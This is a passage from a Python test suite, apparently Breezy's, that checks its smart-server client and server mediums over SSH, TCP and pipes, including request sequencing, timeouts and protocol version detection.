'--inet', '--directory=/', '--allow-writes']),\n            ('close', ),\n            ('connect_ssh', None, None, 'a hostname', None,\n             ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n            ('close', ),\n            ],\n            vendor.calls)\n\n    def test_ssh_client_repr(self):\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams(\"example.com\", \"4242\", \"username\"))\n        self.assertEqual(\n            \"SmartSSHClientMedium(bzr+ssh://username@example.com:4242/)\",\n            repr(client_medium))\n\n    def test_ssh_client_repr_no_port(self):\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams(\"example.com\", None, \"username\"))\n        self.assertEqual(\n            \"SmartSSHClientMedium(bzr+ssh://username@example.com/)\",\n            repr(client_medium))\n\n    def test_ssh_client_repr_no_username(self):\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams(\"example.com\", None, None))\n        self.assertEqual(\n            \"SmartSSHClientMedium(bzr+ssh://example.com/)\",\n            repr(client_medium))\n\n    def test_ssh_client_ignores_disconnect_when_not_connected(self):\n        # Doing a disconnect on a new (and thus unconnected) SSH medium\n        # does not fail.  It's ok to disconnect an unconnected medium.\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams(None))\n        client_medium.disconnect()\n\n    def test_ssh_client_raises_on_read_when_not_connected(self):\n        # Doing a read on a new (and thus unconnected) SSH medium raises\n        # MediumNotConnected.\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams(None))\n        self.assertRaises(errors.MediumNotConnected, client_medium.read_bytes,\n                          0)\n        self.assertRaises(errors.MediumNotConnected, client_medium.read_bytes,\n                          1)\n\n    def test_ssh_client_supports__flush(self):\n        # invoking _flush on a SSHClientMedium should flush the output\n        # pipe. We test this by creating an output pipe that records\n        # flush calls made to it.\n        from io import BytesIO  # get regular BytesIO\n        input = BytesIO()\n        output = BytesIO()\n        flush_calls = []\n\n        def logging_flush(): flush_calls.append('flush')\n        output.flush = logging_flush\n        vendor = BytesIOSSHVendor(input, output)\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams('a hostname'), vendor=vendor)\n        # this call is here to ensure we only flush once, not on every\n        # _accept_bytes call.\n        client_medium._accept_bytes(b'abc')\n        client_medium._flush()\n        client_medium.disconnect()\n        self.assertEqual(['flush'], flush_calls)\n\n    def test_construct_smart_tcp_client_medium(self):\n        # the TCP client medium takes a host and a port.  Constructing it won't\n        # connect to anything.\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.bind(('127.0.0.1', 0))\n        unopened_port = sock.getsockname()[1]\n        medium.SmartTCPClientMedium(\n            '127.0.0.1', unopened_port, 'base')\n        sock.close()\n\n    def test_tcp_client_connects_on_first_use(self):\n        # The only thing that initiates a connection from the medium is giving\n        # it bytes.\n        sock, medium = self.make_loopsocket_and_medium()\n        bytes = []\n        t = self.receive_bytes_on_server(sock, bytes)\n        medium.accept_bytes(b'abc')\n        t.join()\n        sock.close()\n        self.assertEqual([b'abc'], bytes)\n\n    def test_tcp_client_disconnect_does_so(self):\n        # calling disconnect on the client terminates the connection.\n        # we test this by forcing a short read during a socket.MSG_WAITALL\n        # call: write 2 bytes, try to read 3, and then the client disconnects.\n        sock, medium = self.make_loopsocket_and_medium()\n        bytes = []\n        t = self.receive_bytes_on_server(sock, bytes)\n        medium.accept_bytes(b'ab')\n        medium.disconnect()\n        t.join()\n        sock.close()\n        self.assertEqual([b'ab'], bytes)\n        # now disconnect again: this should not do anything, if disconnection\n        # really did disconnect.\n        medium.disconnect()\n\n    def test_tcp_client_ignores_disconnect_when_not_connected(self):\n        # Doing a disconnect on a new (and thus unconnected) TCP medium\n        # does not fail.  It's ok to disconnect an unconnected medium.\n        client_medium = medium.SmartTCPClientMedium(None, None, None)\n        client_medium.disconnect()\n\n    def test_tcp_client_raises_on_read_when_not_connected(self):\n        # Doing a read on a new (and thus unconnected) TCP medium raises\n        # MediumNotConnected.\n        client_medium = medium.SmartTCPClientMedium(None, None, None)\n        self.assertRaises(errors.MediumNotConnected,\n                          client_medium.read_bytes, 0)\n        self.assertRaises(errors.MediumNotConnected,\n                          client_medium.read_bytes, 1)\n\n    def test_tcp_client_supports__flush(self):\n        # invoking _flush on a TCPClientMedium should do something useful.\n        # RBC 20060922 not sure how to test/tell in this case.\n        sock, medium = self.make_loopsocket_and_medium()\n        bytes = []\n        t = self.receive_bytes_on_server(sock, bytes)\n        # try with nothing buffered\n        medium._flush()\n        medium._accept_bytes(b'ab')\n        # and with something sent.\n        medium._flush()\n        medium.disconnect()\n        t.join()\n        sock.close()\n        self.assertEqual([b'ab'], bytes)\n        # now disconnect again : this should not do anything, if disconnection\n        # really did disconnect.\n        medium.disconnect()\n\n    def test_tcp_client_host_unknown_connection_error(self):\n        self.requireFeature(InvalidHostnameFeature)\n        client_medium = medium.SmartTCPClientMedium(\n            'non_existent.invalid', 4155, 'base')\n        self.assertRaises(\n            ConnectionError, client_medium._ensure_connection)\n\n\nclass TestSmartClientStreamMediumRequest(tests.TestCase):\n    \"\"\"Tests the for SmartClientStreamMediumRequest.\n\n    SmartClientStreamMediumRequest is a helper for the three stream based\n    mediums: TCP, SSH, SimplePipes, so we only test it once, and then test that\n    those three mediums implement the interface it expects.\n    \"\"\"\n\n    def test_accept_bytes_after_finished_writing_errors(self):\n        # calling accept_bytes after calling finished_writing raises\n        # WritingCompleted to prevent bad assumptions on stream environments\n        # breaking the needs of message-based environments.\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        request.finished_writing()\n        self.assertRaises(errors.WritingCompleted, request.accept_bytes, None)\n\n    def test_accept_bytes(self):\n        # accept bytes should invoke _accept_bytes on the stream medium.\n        # we test this by using the SimplePipes medium - the most trivial one\n        # and checking that the pipes get the data.\n        input = BytesIO()\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        request.accept_bytes(b'123')\n        request.finished_writing()\n        request.finished_reading()\n        self.assertEqual(b'', input.getvalue())\n        self.assertEqual(b'123', output.getvalue())\n\n    def test_construct_sets_stream_request(self):\n        # constructing a SmartClientStreamMediumRequest on a StreamMedium sets\n        # the current request to the new SmartClientStreamMediumRequest\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        self.assertIs(client_medium._current_request, request)\n\n    def test_construct_while_another_request_active_throws(self):\n        # constructing a SmartClientStreamMediumRequest on a StreamMedium with\n        # a non-None _current_request raises TooManyConcurrentRequests.\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        client_medium._current_request = \"a\"\n        self.assertRaises(medium.TooManyConcurrentRequests,\n                          medium.SmartClientStreamMediumRequest, client_medium)\n\n    def test_finished_read_clears_current_request(self):\n        # calling finished_reading clears the current request from the requests\n        # medium\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        request.finished_writing()\n        request.finished_reading()\n        self.assertEqual(None, client_medium._current_request)\n\n    def test_finished_read_before_finished_write_errors(self):\n        # calling finished_reading before calling finished_writing triggers a\n        # WritingNotComplete error.\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, None, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        self.assertRaises(errors.WritingNotComplete, request.finished_reading)\n\n    def test_read_bytes(self):\n        # read bytes should invoke _read_bytes on the stream medium.\n        # we test this by using the SimplePipes medium - the most trivial one\n        # and checking that the data is supplied. Its possible that a\n        # faulty implementation could poke at the pipe variables them selves,\n        # but we trust that this will be caught as it will break the integration\n        # smoke tests.\n        input = BytesIO(b'321')\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        request.finished_writing()\n        self.assertEqual(b'321', request.read_bytes(3))\n        request.finished_reading()\n        self.assertEqual(b'', input.read())\n        self.assertEqual(b'', output.getvalue())\n\n    def test_read_bytes_before_finished_write_errors(self):\n        # calling read_bytes before calling finished_writing triggers a\n        # WritingNotComplete error because the Smart protocol is designed to be\n        # compatible with strict message based protocols like HTTP where the\n        # request cannot be submitted until the writing has completed.\n        client_medium = medium.SmartSimplePipesClientMedium(None, None, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        self.assertRaises(errors.WritingNotComplete, request.read_bytes, None)\n\n    def test_read_bytes_after_finished_reading_errors(self):\n        # calling read_bytes after calling finished_reading raises\n        # ReadingCompleted to prevent bad assumptions on stream environments\n        # breaking the needs of message-based environments.\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = medium.SmartClientStreamMediumRequest(client_medium)\n        request.finished_writing()\n        request.finished_reading()\n        self.assertRaises(errors.ReadingCompleted, request.read_bytes, None)\n\n    def test_reset(self):\n        server_sock, client_sock = portable_socket_pair()\n        # TODO: Use SmartClientAlreadyConnectedSocketMedium for the versions of\n        #       bzr where it exists.\n        client_medium = medium.SmartTCPClientMedium(None, None, None)\n        client_medium._socket = client_sock\n        client_medium._connected = True\n        client_medium.get_request()\n        self.assertRaises(medium.TooManyConcurrentRequests,\n                          client_medium.get_request)\n        client_medium.reset()\n        # The stream should be reset, marked as disconnected, though ready for\n        # us to make a new request\n        self.assertFalse(client_medium._connected)\n        self.assertIs(None, client_medium._socket)\n        try:\n            self.assertEqual('', client_sock.recv(1))\n        except OSError as e:\n            if e.errno not in (errno.EBADF,):\n                raise\n        client_medium.get_request()\n\n\nclass RemoteTransportTests(test_smart.TestCaseWithSmartMedium):\n\n    def test_plausible_url(self):\n        self.assertTrue(self.get_url().startswith('bzr://'))\n\n    def test_probe_transport(self):\n        t = self.get_transport()\n        self.assertIsInstance(t, remote.RemoteTransport)\n\n    def test_get_medium_from_transport(self):\n        \"\"\"Remote transport has a medium always, which it can return.\"\"\"\n        t = self.get_transport()\n        client_medium = t.get_smart_medium()\n        self.assertIsInstance(client_medium, medium.SmartClientMedium)\n\n\nclass ErrorRaisingProtocol:\n\n    def __init__(self, exception):\n        self.exception = exception\n\n    def next_read_size(self):\n        raise self.exception\n\n\nclass SampleRequest:\n\n    def __init__(self, expected_bytes):\n        self.accepted_bytes = b''\n        self._finished_reading = False\n        self.expected_bytes = expected_bytes\n        self.unused_data = b''\n\n    def accept_bytes(self, bytes):\n        self.accepted_bytes += bytes\n        if self.accepted_bytes.startswith(self.expected_bytes):\n            self._finished_reading = True\n            self.unused_data = self.accepted_bytes[len(self.expected_bytes):]\n\n    def next_read_size(self):\n        if self._finished_reading:\n            return 0\n        else:\n            return 1\n\n\nclass TestSmartServerStreamMedium(tests.TestCase):\n\n    def setUp(self):\n        super().setUp()\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n\n    def create_pipe_medium(self, to_server, from_server, transport,\n                           timeout=4.0):\n        \"\"\"Create a new SmartServerPipeStreamMedium.\"\"\"\n        return medium.SmartServerPipeStreamMedium(to_server, from_server,\n                                                  transport, timeout=timeout)\n\n    def create_pipe_context(self, to_server_bytes, transport):\n        \"\"\"Create a SmartServerSocketStreamMedium.\n\n        This differes from create_pipe_medium, in that we initialize the\n        request that is sent to the server, and return the BytesIO class that\n        will hold the response.\n        \"\"\"\n        to_server = BytesIO(to_server_bytes)\n        from_server = BytesIO()\n        m = self.create_pipe_medium(to_server, from_server, transport)\n        return m, from_server\n\n    def create_socket_medium(self, server_sock, transport, timeout=4.0):\n        \"\"\"Initialize a new medium.SmartServerSocketStreamMedium.\"\"\"\n        return medium.SmartServerSocketStreamMedium(server_sock, transport,\n                                                    timeout=timeout)\n\n    def create_socket_context(self, transport, timeout=4.0):\n        \"\"\"Create a new SmartServerSocketStreamMedium with default context.\n\n        This will call portable_socket_pair and pass the server side to\n        create_socket_medium along with transport.\n        It then returns the client_sock and the server.\n        \"\"\"\n        server_sock, client_sock = portable_socket_pair()\n        server = self.create_socket_medium(server_sock, transport,\n                                           timeout=timeout)\n        return server, client_sock\n\n    def test_smart_query_version(self):\n        \"\"\"Feed a canned query version to a server.\"\"\"\n        # wire-to-wire, using the whole stack\n        transport = local.LocalTransport(urlutils.local_path_to_url('/'))\n        server, from_server = self.create_pipe_context(b'hello\\n', transport)\n        smart_protocol = protocol.SmartServerRequestProtocolOne(transport,\n                                                                from_server.write)\n        server._serve_one_request(smart_protocol)\n        self.assertEqual(b'ok\\0012\\n',\n                         from_server.getvalue())\n\n    def test_response_to_canned_get(self):\n        transport = memory.MemoryTransport('memory:///')\n        transport.put_bytes('testfile', b'contents\\nof\\nfile\\n')\n        server, from_server = self.create_pipe_context(b'get\\001./testfile\\n',\n                                                       transport)\n        smart_protocol = protocol.SmartServerRequestProtocolOne(transport,\n                                                                from_server.write)\n        server._serve_one_request(smart_protocol)\n        self.assertEqual(b'ok\\n'\n                         b'17\\n'\n                         b'contents\\nof\\nfile\\n'\n                         b'done\\n',\n                         from_server.getvalue())\n\n    def test_response_to_canned_get_of_utf8(self):\n        # wire-to-wire, using the whole stack, with a UTF-8 filename.\n        transport = memory.MemoryTransport('memory:///')\n        utf8_filename = 'testfile\\N{INTERROBANG}'.encode()\n        # VFS requests use filenames, not raw UTF-8.\n        hpss_path = urlutils.quote_from_bytes(utf8_filename)\n        transport.put_bytes(hpss_path, b'contents\\nof\\nfile\\n')\n        server, from_server = self.create_pipe_context(\n            b'get\\001' + hpss_path.encode('ascii') + b'\\n', transport)\n        smart_protocol = protocol.SmartServerRequestProtocolOne(transport,\n                                                                from_server.write)\n        server._serve_one_request(smart_protocol)\n        self.assertEqual(b'ok\\n'\n                         b'17\\n'\n                         b'contents\\nof\\nfile\\n'\n                         b'done\\n',\n                         from_server.getvalue())\n\n    def test_pipe_like_stream_with_bulk_data(self):\n        sample_request_bytes = b'command\\n9\\nbulk datadone\\n'\n        server, from_server = self.create_pipe_context(\n            sample_request_bytes, None)\n        sample_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        server._serve_one_request(sample_protocol)\n        self.assertEqual(b'', from_server.getvalue())\n        self.assertEqual(sample_request_bytes, sample_protocol.accepted_bytes)\n        self.assertFalse(server.finished)\n\n    def test_socket_stream_with_bulk_data(self):\n        sample_request_bytes = b'command\\n9\\nbulk datadone\\n'\n        server, client_sock = self.create_socket_context(None)\n        sample_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        client_sock.sendall(sample_request_bytes)\n        server._serve_one_request(sample_protocol)\n        server._disconnect_client()\n        self.assertEqual(b'', client_sock.recv(1))\n        self.assertEqual(sample_request_bytes, sample_protocol.accepted_bytes)\n        self.assertFalse(server.finished)\n\n    def test_pipe_like_stream_shutdown_detection(self):\n        server, _ = self.create_pipe_context(b'', None)\n        server._serve_one_request(SampleRequest(b'x'))\n        self.assertTrue(server.finished)\n\n    def test_socket_stream_shutdown_detection(self):\n        server, client_sock = self.create_socket_context(None)\n        client_sock.close()\n        server._serve_one_request(SampleRequest(b'x'))\n        self.assertTrue(server.finished)\n\n    def test_socket_stream_incomplete_request(self):\n        \"\"\"The medium should still construct the right protocol version even if\n        the initial read only reads part of the request.\n\n        Specifically, it should correctly read the protocol version line even\n        if the partial read doesn't end in a newline.  An older, naive\n        implementation of _get_line in the server used to have a bug in that\n        case.\n        \"\"\"\n        incomplete_request_bytes = protocol.REQUEST_VERSION_TWO + b'hel'\n        rest_of_request_bytes = b'lo\\n'\n        expected_response = (\n            protocol.RESPONSE_VERSION_TWO + b'success\\nok\\x012\\n')\n        server, client_sock = self.create_socket_context(None)\n        client_sock.sendall(incomplete_request_bytes)\n        server_protocol = server._build_protocol()\n        client_sock.sendall(rest_of_request_bytes)\n        server._serve_one_request(server_protocol)\n        server._disconnect_client()\n        self.assertEqual(expected_response, osutils.recv_all(client_sock, 50),\n                         \"Not a version 2 response to 'hello' request.\")\n        self.assertEqual(b'', client_sock.recv(1))\n\n    def test_pipe_stream_incomplete_request(self):\n        \"\"\"The medium should still construct the right protocol version even if\n        the initial read only reads part of the request.\n\n        Specifically, it should correctly read the protocol version line even\n        if the partial read doesn't end in a newline.  An older, naive\n        implementation of _get_line in the server used to have a bug in that\n        case.\n        \"\"\"\n        incomplete_request_bytes = protocol.REQUEST_VERSION_TWO + b'hel'\n        rest_of_request_bytes = b'lo\\n'\n        expected_response = (\n            protocol.RESPONSE_VERSION_TWO + b'success\\nok\\x012\\n')\n        # Make a pair of pipes, to and from the server\n        to_server, to_server_w = os.pipe()\n        from_server_r, from_server = os.pipe()\n        to_server = os.fdopen(to_server, 'rb', 0)\n        to_server_w = os.fdopen(to_server_w, 'wb', 0)\n        from_server_r = os.fdopen(from_server_r, 'rb', 0)\n        from_server = os.fdopen(from_server, 'wb', 0)\n        server = self.create_pipe_medium(to_server, from_server, None)\n        # Like test_socket_stream_incomplete_request, write an incomplete\n        # request (that does not end in '\\n') and build a protocol from it.\n        to_server_w.write(incomplete_request_bytes)\n        server_protocol = server._build_protocol()\n        # Send the rest of the request, and finish serving it.\n        to_server_w.write(rest_of_request_bytes)\n        server._serve_one_request(server_protocol)\n        to_server_w.close()\n        from_server.close()\n        self.assertEqual(expected_response, from_server_r.read(),\n                         \"Not a version 2 response to 'hello' request.\")\n        self.assertEqual(b'', from_server_r.read(1))\n        from_server_r.close()\n        to_server.close()\n\n    def test_pipe_like_stream_with_two_requests(self):\n        # If two requests are read in one go, then two calls to\n        # _serve_one_request should still process both of them as if they had\n        # been received separately.\n        sample_request_bytes = b'command\\n'\n        server, from_server = self.create_pipe_context(\n            sample_request_bytes * 2, None)\n        first_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        server._serve_one_request(first_protocol)\n        self.assertEqual(0, first_protocol.next_read_size())\n        self.assertEqual(b'', from_server.getvalue())\n        self.assertFalse(server.finished)\n        # Make a new protocol, call _serve_one_request with it to collect the\n        # second request.\n        second_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        server._serve_one_request(second_protocol)\n        self.assertEqual(b'', from_server.getvalue())\n        self.assertEqual(sample_request_bytes, second_protocol.accepted_bytes)\n        self.assertFalse(server.finished)\n\n    def test_socket_stream_with_two_requests(self):\n        # If two requests are read in one go, then two calls to\n        # _serve_one_request should still process both of them as if they had\n        # been received separately.\n        sample_request_bytes = b'command\\n'\n        server, client_sock = self.create_socket_context(None)\n        first_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        # Put two whole requests on the wire.\n        client_sock.sendall(sample_request_bytes * 2)\n        server._serve_one_request(first_protocol)\n        self.assertEqual(0, first_protocol.next_read_size())\n        self.assertFalse(server.finished)\n        # Make a new protocol, call _serve_one_request with it to collect the\n        # second request.\n        second_protocol = SampleRequest(expected_bytes=sample_request_bytes)\n        server._serve_one_request(second_protocol)\n        self.assertEqual(sample_request_bytes, second_protocol.accepted_bytes)\n        self.assertFalse(server.finished)\n        server._disconnect_client()\n        self.assertEqual(b'', client_sock.recv(1))\n\n    def test_pipe_like_stream_error_handling(self):\n        # Use plain python BytesIO so we can monkey-patch the close method to\n        # not discard the contents.\n        from io import BytesIO\n        to_server = BytesIO(b'')\n        from_server = BytesIO()\n        self.closed = False\n\n        def close():\n            self.closed = True\n        from_server.close = close\n        server = self.create_pipe_medium(\n            to_server, from_server, None)\n        fake_protocol = ErrorRaisingProtocol(Exception('boom'))\n        server._serve_one_request(fake_protocol)\n        self.assertEqual(b'', from_server.getvalue())\n        self.assertTrue(self.closed)\n        self.assertTrue(server.finished)\n\n    def test_socket_stream_error_handling(self):\n        server, client_sock = self.create_socket_context(None)\n        fake_protocol = ErrorRaisingProtocol(Exception('boom'))\n        server._serve_one_request(fake_protocol)\n        # recv should not block, because the other end of the socket has been\n        # closed.\n        self.assertEqual(b'', client_sock.recv(1))\n        self.assertTrue(server.finished)\n\n    def test_pipe_like_stream_keyboard_interrupt_handling(self):\n        server, from_server = self.create_pipe_context(b'', None)\n        fake_protocol = ErrorRaisingProtocol(KeyboardInterrupt('boom'))\n        self.assertRaises(\n            KeyboardInterrupt, server._serve_one_request, fake_protocol)\n        self.assertEqual(b'', from_server.getvalue())\n\n    def test_socket_stream_keyboard_interrupt_handling(self):\n        server, client_sock = self.create_socket_context(None)\n        fake_protocol = ErrorRaisingProtocol(KeyboardInterrupt('boom'))\n        self.assertRaises(\n            KeyboardInterrupt, server._serve_one_request, fake_protocol)\n        server._disconnect_client()\n        self.assertEqual(b'', client_sock.recv(1))\n\n    def build_protocol_pipe_like(self, bytes):\n        server, _ = self.create_pipe_context(bytes, None)\n        return server._build_protocol()\n\n    def build_protocol_socket(self, bytes):\n        server, client_sock = self.create_socket_context(None)\n        client_sock.sendall(bytes)\n        client_sock.close()\n        return server._build_protocol()\n\n    def assertProtocolOne(self, server_protocol):\n        # Use assertIs because assertIsInstance will wrongly pass\n        # SmartServerRequestProtocolTwo (because it subclasses\n        # SmartServerRequestProtocolOne).\n        self.assertIs(\n            type(server_protocol), protocol.SmartServerRequestProtocolOne)\n\n    def assertProtocolTwo(self, server_protocol):\n        self.assertIsInstance(\n            server_protocol, protocol.SmartServerRequestProtocolTwo)\n\n    def test_pipe_like_build_protocol_empty_bytes(self):\n        # Any empty request (i.e. no bytes) is detected as protocol version one.\n        server_protocol = self.build_protocol_pipe_like(b'')\n        self.assertProtocolOne(server_protocol)\n\n    def test_socket_like_build_protocol_empty_bytes(self):\n        # Any empty request (i.e. no bytes) is detected as protocol version one.\n        server_protocol = self.build_protocol_socket(b'')\n        self.assertProtocolOne(server_protocol)\n\n    def test_pipe_like_build_protocol_non_two(self):\n        # A request that doesn't start with \"bzr request 2\\n\" is version one.\n        server_protocol = self.build_protocol_pipe_like(b'abc\\n')\n        self.assertProtocolOne(server_protocol)\n\n    def test_socket_build_protocol_non_two(self):\n        # A request that doesn't start with \"bzr request 2\\n\" is version one.\n        server_protocol = self.build_protocol_socket(b'abc\\n')\n        self.assertProtocolOne(server_protocol)\n\n    def test_pipe_like_build_protocol_two(self):\n        # A request that starts with \"bzr request 2\\n\" is version two.\n        server_protocol = self.build_protocol_pipe_like(b'bzr request 2\\n')\n        self.assertProtocolTwo(server_protocol)\n\n    def test_socket_build_protocol_two(self):\n        # A request that starts with \"bzr request 2\\n\" is version two.\n        server_protocol = self.build_protocol_socket(b'bzr request 2\\n')\n        self.assertProtocolTwo(server_protocol)\n\n    def test__build_protocol_returns_if_stopping(self):\n        # _build_protocol should notice that we are stopping, and return\n        # without waiting for bytes from the client.\n        server, client_sock = self.create_socket_context(None)\n        server._stop_gracefully()\n        self.assertIs(None, server._build_protocol())\n\n    def test_socket_set_timeout(self):\n        server, _ = self.create_socket_context(None, timeout=1.23)\n        self.assertEqual(1.23, server._client_timeout)\n\n    def test_pipe_set_timeout(self):\n        server = self.create_pipe_medium(None, None, None,\n                                         timeout=1.23)\n        self.assertEqual(1.23, server._client_timeout)\n\n    def test_socket_wait_for_bytes_with_timeout_with_data(self):\n        server, client_sock = self.create_socket_context(None)\n        client_sock.sendall(b'data\\n')\n        # This should not block or consume any actual content\n        self.assertFalse(server._wait_for_bytes_with_timeout(0.1))\n        data = server.read_bytes(5)\n        self.assertEqual(b'data\\n', data)\n\n    def test_socket_wait_for_bytes_with_timeout_no_data(self):\n        server, client_sock = self.create_socket_context(None)\n        # This should timeout quickly, reporting that there wasn't any data\n        self.assertRaises(errors.ConnectionTimeout,\n                          server._wait_for_bytes_with_timeout, 0.01)\n        client_sock.close()\n        data = server.read_bytes(1)\n        self.assertEqual(b'', data)\n\n    def test_socket_wait_for_bytes_with_timeout_closed(self):\n        server, client_sock = self.create_socket_context(None)\n        # With the socket closed, this should return right away.\n        # It seems select.select() returns that you *can* read on the socket,\n        # even though it closed. Presumably as a way to tell it is closed?\n        # Testing shows that without sock.close() this times-out failing the\n        # test, but with it, it returns False immediately.\n        client_sock.close()\n        self.assertFalse(server._wait_for_bytes_with_timeout(10))\n        data = server.read_bytes(1)\n        self.assertEqual(b'', data)\n\n    def test_socket_wait_for_bytes_with_shutdown(self):\n        server, client_sock = self.create_socket_context(None)\n        t = time.time()\n        # Override the _timer functionality, so that time never increments,\n        # this way, we can be sure we stopped because of the flag, and not\n        # because of a timeout, etc.\n        server._timer = lambda: t\n        server._client_poll_timeout = 0.1\n        server._stop_gracefully()\n        server._wait_for_bytes_with_timeout(1.0)\n\n    def test_socket_serve_timeout_closes_socket(self):\n        server, client_sock = self.create_socket_context(None, timeout=0.1)\n        # This should timeout quickly, and then close the connection so that\n        # client_sock recv doesn't block.\n        server.serve()\n        self.assertEqual(b'', client_sock.recv(1))\n\n    def test_pipe_wait_for_bytes_with_timeout_with_data(self):\n        # We intentionally use a real pipe here, so that we can 'select' on it.\n        # You can't select() on a BytesIO\n        (r_server, w_client) = os.pipe()\n        self.addCleanup(os.close, w_client)\n        with os.fdopen(r_server, 'rb') as rf_server:\n            server = self.create_pipe_medium(\n                rf_server, None, None)\n            os.write(w_client, b'data\\n')\n            # This should not block or consume any actual content\n            server._wait_for_bytes_with_timeout(0.1)\n            data = server.read_bytes(5)\n            self.assertEqual(b'data\\n', data)\n\n    def test_pipe_wait_for_bytes_with_timeout_no_data(self):\n        # We intentionally use a real pipe here, so that we can 'select' on it.\n        # You can't select() on a BytesIO\n        (r_server, w_client) = os.pipe()\n        # We can't add an os.close cleanup here, because we need to control\n        # when the file handle gets closed ourselves.\n        with os.fdopen(r_server, 'rb') as rf_server:\n            server = self.create_pipe_medium(\n                rf_server, None, None)\n            if sys.platform == 'win32':\n                # Windows cannot select() on a pipe, so we just always return\n                server._wait_for_bytes_with_timeout(0.01)\n            else:\n                self.assertRaises(errors.ConnectionTimeout,\n                                  server._wait_for_bytes_with_timeout, 0.01)\n            os.close(w_client)\n            data = server.read_bytes(5)\n            self.assertEqual(b'', data)\n\n    def test_pipe_wait_for_bytes_no_fileno(self):\n        server, _ = self.create_pipe_context(b'', None)\n        # Our file doesn't support polling, so we should always just return\n        # 'you have data to consume.\n        server._wait_for_bytes_with_timeout(0.01)\n\n\nclass TestGetProtocolFactoryForBytes(tests.TestCase):\n    \"\"\"_get_protocol_factory_for_bytes identifies the protocol factory a server\n    should use to decode a given request.  Any bytes not part of the version\n    marker string (and thus part of the actual request) are returned alongside\n    the protocol factory.\n    \"\"\"\n\n    def test_version_three(self):\n        result = medium._get_protocol_factory_for_bytes(\n            b'bzr message 3 (bzr 1.6)\\nextra bytes')\n        protocol_factory, remainder = result\n        self.assertEqual(\n            protocol.build_server_protocol_three, protocol_factory)\n        self.assertEqual(b'extra bytes', remainder)\n\n    def test_version_two(self):\n        result = medium._get_protocol_factory_for_bytes(\n            b'bzr request 2\\nextra bytes')\n        protocol_factory, remainder = result\n        self.assertEqual(\n            protocol.SmartServerRequestProtocolTwo, protocol_factory)\n        self.assertEqual(b'extra bytes', remainder)\n\n    def test_version_one(self):\n        \"\"\"Version one requests have no version markers.\"\"\"\n        result = medium._get_protocol_factory_for_bytes(b'anything\\n')\n        protocol_factory, remainder = result\n        self.assertEqual(\n            protocol.SmartServerRequestProtocolOne, protocol_factory)\n        self.assertEqual(b'anything\\n', remainder)\n\n\nclass TestSmartTCPServer(tests.TestCase):\n\n    def make_server(self):\n        \"\"\"Create a SmartTCPServer that we can exercise.\n\n        Note: we don't use SmartTCPServer_for_testing because the testing\n        version overrides lots of functionality like 'serve', and we want to\n        test the raw service.\n\n        This will start the server in another thread, and wait for it to\n        indicate it has finished starting up.\n\n        :return: (server, server_thread)\n        \"\"\"\n        t = _mod_transport.get_transport_from_url('memory:///')\n        server = _mod_server.SmartTCPServer(t, client_timeout=4.0)\n        server._ACCEPT_TIMEOUT = 0.1\n        # We don't use 'localhost' because that might be an IPv6 address.\n        server.start_server('127.0.0.1', 0)\n        server_thread = threading.Thread(target=server.serve,\n                                         args=(self.id(),))\n        server_thread.start()\n        # Ensure this gets called at some point\n        self.addCleanup(server._stop_gracefully)\n        server._started.wait()\n        return server, server_thread\n\n    def ensure_client_disconnected(self, client_sock):\n        \"\"\"Ensure that a socket is closed, discarding all errors.\"\"\"\n        try:\n            client_sock.close()\n        except Exception:\n            pass\n\n    def connect_to_server(self, server):\n        \"\"\"Create a client socket that can talk to the server.\"\"\"\n        client_sock = socket.socket()\n        server_info = server._server_socket.getsockname()\n        client_sock.connect(server_info)\n        self.addCleanup(self.ensure_client_disconnected, client_sock)\n        return client_sock\n\n    def connect_to_server_and_hangup(self, server):\n        \"\"\"Connect to the server, and then hang up.\n        That way it doesn't sit waiting for 'accept()' to timeout.\n        \"\"\"\n        # If the server has already signaled that the socket is closed, we\n        # don't need to try to connect to it. Not being set, though, the server\n        # might still close the socket while we try to connect to it. So we\n        # still have to catch the exception.\n        if server._stopped.is_set():\n            return\n        try:\n            client_sock = self.connect_to_server(server)\n            client_sock.close()\n        except OSError:\n            # If the server has hung up already, that is fine.\n            pass\n\n    def say_hello(self, client_sock):\n        \"\"\"Send the 'hello' smart RPC, and expect the response.\"\"\"\n        client_sock.send(b'hello\\n')\n        self.assertEqual(b'ok\\x012\\n', client_sock.recv(5))\n\n    def shutdown_server_cleanly(self, server, server_thread):\n        server._stop_gracefully()\n        self.connect_to_server_and_hangup(server)\n        server._stopped.wait()\n        server._fully_stopped.wait()\n        server_thread.join()\n\n    def test_get_error_unexpected(self):\n        \"\"\"Error reported by server with no specific representation.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n\n        class FlakyTransport:\n            base = 'a_url'\n\n            def external_url(self):\n                return self.base\n\n            def get(self, path):\n     